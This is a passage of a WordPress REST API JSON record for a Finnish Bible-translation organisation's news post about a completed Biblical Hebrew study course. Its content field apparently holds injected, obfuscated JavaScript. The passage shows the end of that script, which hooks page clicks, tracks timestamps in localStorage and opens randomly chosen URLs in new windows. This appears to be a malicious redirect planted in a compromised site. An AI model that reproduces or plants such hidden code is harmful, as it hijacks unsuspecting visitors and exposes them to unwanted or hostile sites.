_0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)\/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)\/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());<\/script>","protected":false},"excerpt":{"rendered":"<p>Rakkaat yst\u00e4v\u00e4t! On aika kiitt\u00e4\u00e4 esirukouksista t\u00e4m\u00e4n kev\u00e4\u00e4n opintokurssin puolesta. Tammikuun 31. pn\u00e4 alkanut kurssi on saatu p\u00e4\u00e4t\u00f6kseen ja t\u00e4n\u00e4\u00e4n torstaina 29.6. on vietetty suuri ja iloinen, kiitollisuuden t\u00e4ytt\u00e4m\u00e4 juhla Heprealaisella yliopistolla. Yksitoista opiskelijaa yhdeks\u00e4st\u00e4 maasta sai p\u00e4\u00e4t\u00f6kseen hyvin vaativan ja intensiivisen viiden kuukauden opinto-ohjelman, jonka kuusi kurssia sis\u00e4lsiv\u00e4t yhteens\u00e4 315 tuntia Raamatun heprean tekstiin [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":2734,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3,8],"tags":[],"class_list":["post-2733","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uutiset","category-ystavakirjeet"],"_links":{"self":[{"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/posts\/2733","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2733"}],"version-history":[{"count":2,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/posts\/2733\/revisions"}],"predecessor-version":[{"id":2744,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/posts\/2733\/revisions\/2744"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=\/wp\/v2\/media\/2734"}],"wp:attachment":[{"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2733"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2733"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fin.bibletranslators.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2733"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}